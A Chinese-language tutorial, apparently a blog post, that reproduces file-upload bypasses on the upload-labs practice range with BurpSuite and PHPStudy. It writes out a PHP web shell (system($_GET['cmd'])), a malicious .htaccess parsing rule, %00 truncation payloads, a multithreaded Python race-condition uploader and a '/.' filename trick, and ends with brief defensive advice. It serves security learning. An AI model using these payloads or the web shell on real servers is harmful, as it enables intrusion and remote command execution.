从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势
从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势
在渗透测试的学习过程中,文件上传漏洞一直是Web安全领域的重要课题。upload-labs靶场作为专门针对上传漏洞设计的实战环境,包含了19种不同类型的上传绕过场景。本文将聚焦五种最具代表性的绕过技术,结合BurpSuite和PHPStudy工具链,从环境配置到实战操作,手把手带你攻克这些经典关卡。
1. 环境准备与基础配置
1.1 PHPStudy环境搭建与调优
首先需要确保PHPStudy环境正确配置。许多初学者在复现upload-labs时会遇到PHP版本不兼容的问题,特别是涉及特殊后缀解析(如.php5、.phtml)的关卡。以下是关键配置步骤:
- 下载并安装最新版PHPStudy(推荐V8.1版本)
- 修改
httpd-conf文件中的PHP解析规则:# 原始配置(注释状态) #AddType application/x-httpd-php .php .phtml # 修改为(移除注释并扩展后缀) AddType application/x-httpd-php .php .phtml .php5 .php3 - 调整
php.ini中的关键参数:magic_quotes_gpc = Off ; 影响%00截断的关键设置 short_open_tag = On ; 允许<?短标签
注意:修改配置后必须重启Apache服务才能生效。若遇到端口冲突,可在PHPStudy面板中修改默认80端口。
1.2 BurpSuite抓包环境配置
BurpSuite是分析上传漏洞的利器,正确配置代理至关重要:
- 浏览器设置代理为
127.0.0.1:8080 - 在BurpSuite的
Proxy -> Options中确认监听端口 - 安装CA证书以避免HTTPS流量拦截问题:
# 证书安装命令(Windows) certmgr.msc
常见问题排查表:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 无法拦截HTTP请求 | 代理未生效 | 检查浏览器代理设置 |
| HTTPS网站显示异常 | 证书未信任 | 重新安装CA证书 |
| 拦截后页面加载失败 | 拦截模式错误 | 关闭Intercept或调整Scope |
2. 黑名单绕过:.htaccess攻击实战
2.1 原理剖析
当服务器采用黑名单机制时,攻击者可通过上传.htaccess文件覆盖Apache解析规则。这种攻击在upload-labs第4关尤为典型:
- 服务器仅禁止
.php、.php5等后缀 - 未限制
.htaccess文件上传 - 通过该文件将任意后缀(如.png)解析为PHP
2.2 分步操作指南
- 创建恶意
.htaccess文件:AddType application/x-httpd-php .png - 使用BurpSuite拦截上传请求:
- 修改
Content-Type: text/plain - 确保文件名保持
.htaccess不变
- 修改
- 上传PHP代码文件(后缀改为.png):
<?php system($_GET['cmd']);?> - 访问上传的.png文件,附加命令参数:
http://target/upload/shell.png?cmd=whoami
关键点:部分Windows系统无法直接创建.htaccess文件,可通过以下命令生成:
echo AddType application/x-httpd-php .png > .htaccess
3. %00截断:白名单绕过的经典手法
3.1 技术背景
%00截断是PHP历史版本(<5.3.4)的特性漏洞,在upload-labs第11、12关中需要此技术。其核心原理是:
- NULL字符(%00)会终止字符串处理
- 可截断白名单校验后的路径拼接
- 需要
magic_quotes_gpc=Off环境
3.2 实战演示
以第11关为例的操作流程:
- 上传合法后缀文件(如test.png)
- BurpSuite拦截POST请求,修改路径参数:
save_path=../upload/shell.php%00 - 观察响应中的文件存储位置:
- 预期结果:文件应保存为
shell.php - 错误情况:若仍为.png后缀,检查PHP版本
- 预期结果:文件应保存为
对于第12关(POST型截断),需要额外进行URL解码:
- 原始修改:
save_path=../upload/shell.php%00 - 选中
%00右键选择Convert selection -> URL -> URL-decode - 发送请求后验证文件解析
版本兼容性对照表:
| PHP版本 | magic_quotes_gpc | 截断效果 |
|---|---|---|
| 5.2.17 | Off | 有效 |
| 5.4.45 | Off | 无效 |
| 7.0.0+ | 任何设置 | 无效 |
4. 条件竞争:时间差攻击的艺术
4.1 漏洞机理
当服务器采用"上传-校验-删除"流程时(如第17关),可能通过条件竞争在删除前访问文件。这种攻击依赖:
- 文件上传后短暂存在于服务器
- 校验删除操作存在时间窗口
- 高速并发访问可能命中该窗口
4.2 BurpSuite自动化攻击
- 正常上传PHP文件并拦截请求
- 发送到
Intruder模块,设置空载荷 - 配置线程数为50+,持续发送请求
- 同时浏览器不断刷新访问该PHP文件
优化攻击的Python脚本示例:
import requests import threading target_url = "http://target/upload/shell.php" upload_url = "http://target/upload.php" def upload(): while True: requests.post(upload_url, files={'file': open('shell.php','rb')}) def access(): while True: r = requests.get(target_url) if r.status_code == 200: print("Success!") break threads = [] for _ in range(10): t = threading.Thread(target=upload) t.start() threads.append(t) for _ in range(30): t = threading.Thread(target=access) t.start() threads.append(t)5. move_uploaded_file特性利用
5.1 函数特性分析
第19关展示了move_uploaded_file()的特殊行为:
- 自动忽略文件末尾的
/. - 不受路径规范化影响
- 可绕过部分后缀检查
5.2 完整攻击链
- 准备正常图片文件(如1.png)
- BurpSuite拦截上传请求,修改文件名:
filename="1.png/." - 服务器端实际保存为
1.png - 配合文件包含漏洞执行代码
对比其他关卡,该技术的独特优势:
| 技术类型 | 依赖条件 | 适用版本 |
|---|---|---|
| .htaccess | AllowOverride All | 所有Apache |
| %00截断 | PHP<5.3.4 | 旧版环境 |
| 条件竞争 | 存在时间窗口 | 所有环境 |
| move特性 | 函数实现特性 | 所有PHP版本 |
6. 防御方案与实战建议
6.1 安全开发规范
- 采用白名单验证文件后缀
- 文件重命名存储(如MD5值)
- 禁用危险函数(如
putenv) - 设置
open_basedir限制访问范围
6.3 渗透测试技巧
- 多维度测试组合:
graph LR A[前端绕过] --> B[Content-Type修改] B --> C[后缀大小写] C --> D[特殊字符截断] D --> E[二次渲染绕过] - 真实环境与靶场差异:
- CDN可能拦截恶意上传
- WAF规则需要针对性绕过
- 容器特性影响解析行为
在本地复现时遇到最多的问题是PHPStudy环境配置不当导致解析异常。建议每次修改配置后:
- 重启所有相关服务
- 清除浏览器缓存
- 使用全新测试文件验证
